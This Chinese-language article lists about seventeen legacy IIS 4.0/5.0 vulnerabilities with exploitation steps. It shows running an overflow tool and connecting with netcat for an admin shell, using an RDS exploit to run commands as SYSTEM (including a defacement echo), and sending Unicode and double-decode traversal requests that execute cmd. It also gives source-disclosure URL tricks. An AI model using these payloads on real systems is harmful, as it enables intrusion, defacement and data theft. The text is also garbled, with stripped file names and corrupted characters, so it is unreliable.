2024年1月22日发(作者:)

IIS的十七个常见漏洞

1. iis4hack缓冲溢出

主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求

没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序

在系统中下载和执行程序。

要检测这样的站点你需要两个文件,,你可以到下面

的站点去下载,另外你?..己的WEB服务器。

你现在你自己的WEB服务器上运行WEB服务程序并把放到你自己相应

的目录下,然后使用来检查目标机器:

c:> 80 /

然后你就使用netcat来连接你要检测的服务器:

c:>nc 80

如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。

利用程序见

IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行

你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下,

它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,

其一般默认情况下是SYSTEM用户。

利用程序为,我们看看它的help

[quack@chat quack]$ perl -h

-- RDS smack v2 - rain forest puppy / ADM / wiretrip --

Usage: -h { -d -X -v }

-h = host you want to scan (ip or domain)

-d = delay between calls, default 1 second

-X = dump Index Server path table, if available

-N = query VbBusObj for NetBIOS name

-V = use VbBusObj instead of ActiveDataFactory

-v = verbose

-e = external dictionary file for step 5

-u = use UNC file

-w = Windows 95 instead of Windows NT

-c = v1 compatibility (three step query)

-s = run only step

Or a -R will resume a (v2) command session

[quack@chat quack]$ perl -/ ;

-- RDS smack v2 - rain forest puppy / ADM / wiretrip --

Type the command line you want to run (cmd /c assumed):

cmd /c

如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的:

echo hacked by me > d:

察看文件源代码

/ks/ ;

察看文件源代码

//winnt/ ;

察看文件源代码

/?HiliteType=full ;

& .htw

hit-highligting功能是由Index Server提供的允许一个WEB用户在

文档上highlighted(突出)他们原妓阉鞯奶跄浚飧鑫牡档拿滞ü?

变量CiWebhitsfile传递给.htw文件,是一个ISAPI应用程序

来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递

给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他

脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:

/ ;

如果你从服务器端获得如下信息:

format of the QUERY_STRING is invalid

这就表示你存在这个漏洞。

这个问题主要就是关联了.htw文件的映射,所以你只要取消

这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw

文件,一般会发现如下的程序:

/iissamples/issamples/oop/

/iissamples/issamples/oop/

/isssamples/exair/search/

/isssamples/exair/search/

/isshelp/iss/misc/ (这个一般为loopback使用)

一个攻击者可以使用如下的方法来访问系统中文件的内容:

/p/? ;

ciwebhitsfile=/../../winnt/&cirestriction=none&cihilitetype=full

就会在有此漏洞系统中文件的内容。 Alternate Data Streams(::$DATA)

要查看一些.asp文件的内容,你可以请求如下的URL:

/::$DATA你就得到了源代码

Dot Bug

在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。

/. ;

这个漏洞是由Cerberus Information Security team.最早发现的,它运行

在IIS4.0和5.0上面,允许攻击者查看任意文件内容和源代码。通过在文件

名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,

会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到

ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后

程序把传递过来的文件打开和执行,但在 截断信息之前,缓冲区发送

一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容.

除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经

发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在

第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题,可以进行

多次攻击。

/%20%20(...<=230)

10. .idc & .ida Bugs

这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,

很奇怪的说有些还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?

后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果

此.idc不存在,它就返回一些信息给客户端。

/ ;或者

11.+.htr Bug

对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:

/+.htr ;

Site Server Adsamples

通过请求,一般保存在/adsamples/config/中,攻击者

可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:

/adsamples/config/ ;

13./iisadmpwd

IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户

帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。

每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个

.htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制

在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB

来修改用户的帐号和密码。这个目录物理映射在下面的目录下:

c:winntsystem32inetsrviisadmpwd

这样,攻击者可以通过暴力来猜测你的密码。

ate:f Bug

泄露asp文件源代码

存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中,

当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f

后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁

为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,所以在IIS4.0

上也有这个漏洞。

利用程序: ,

e

IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在

一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,

如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊

的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。

/s cripts/..%c1.../?/c+dir

/s cripts/..%c0.../?/c+dir

/s cripts/..%c1.../?/c+dir

//..%/winnt/ ;

可能需要察看以下几个目录

GET /s cripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/?/c+dir+c: HTTP/1.0rnrn

GET /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/?/c+dir+c: HTTP/1.0rnrn

GET /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/?/c+dir+c: HTTP/1.0rnrn

GET /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/?/c+dir+c: HTTP/1.0rnrn

GET /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/?/c+dir+c: HTTP/1.0rnrn

eeye开发了工具包iishack1.5针对这一漏洞进行测试

5.0 缓冲溢出

微软Win 2K IIS 5的打印ISAPI扩展接口建立了.printer扩展名到的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS 5调用解释该请求。由于缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其"Host:"域包含大约420字节的数据,此时在中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。

利用程序见

CGI文件名二次解码漏洞

IIS在加载可执行CGI程序时,会进行两次解码。第一次解码是对CGI文件名进行http解码,然后判断此文件名是否为可执行文件,例如检查后缀名是否为".exe"或".com"等等。在文件名检查通过之后,IIS会再进行第二次解码。正常情况下,应该只对该CGI的参数进行解码,然而,IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样,CGI文件名就被错

误地解码了两次。 通过精心构造CGI文件名,攻击者可以绕过IIS对文件名所作的安全检查,例如对"../"或"./"的检查,在某些条件下,攻击者可以执行任意系统命令。

例如,对于’’这个字符,正常编码后是%5c。这三个字符对应的编码为:

’%’ = %25

’5’ = %35

’c’ = %63

如果要对这三个字符再做一次编码,就可以有多种形式,例如:

%255c

%%35c

%%35%63

%25%35%63

...

因此,".."就可以表示成"..%255c"或"..%%35c"等等形式。

在经过第一次解码之后,变成"..%5c"。IIS会认为这是一个正常的字符串,不会违反安全规则检查。而在第二次被解码之后,就会变成".."。因此攻击者就可以使用".."来进行目录遍历,执行web目录之外的任意程序。